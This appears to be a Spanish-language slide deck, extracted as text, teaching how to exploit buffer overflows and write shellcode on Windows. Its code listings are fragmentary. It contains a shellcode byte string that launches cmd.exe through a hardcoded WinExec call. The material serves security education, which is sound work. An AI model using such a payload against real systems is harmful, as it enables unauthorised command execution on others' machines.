Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Buffer Overflows y Shellcodes
Buffer Overflows y Shellcodes
y ShellCodes en Windows
Un pequeo vistazo a como explotar
buffer overflows y divertirnos (o morir) en
el intento
Antes de empezar
Herramientas:
Ollydebug
TASM5 (Turbo Assembler 5)
Devcpp o VC++
FindJmp
Editor (el que tu quieras)
Qu es un Buffer Overflow?
Bug de programacin.
Ocasionado por copiar datos a un area de
memoria que no es lo suficientemente grande
para contenerlos.
Buffer A Buffer B
Buffer Overflow
'd' 'e' 'm' 'a' 's' 'i' 'a' 'd' 'o' 0
Buffer A Buffer B
Cdigo vulnerable
#include <stdio.h>
#include <stdlib.h>
return 0;
}
Prctica
Escribiendo un programa no
vulnerable
Explotar el Buffer Overflow
char shellcode[] =
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45
\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\
x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\x
C6\x45\xFE\x65\x8D\x45\xF8\x6A\x01\x50\xBB\x4
D\x11\x86\x7C\xFF\xD3";
Prctica - Programando el exploit.
Ejecutando!
Happy Hacking !!!
FIN Dudas, comentarios etc. ?
Muchas gracias!!!!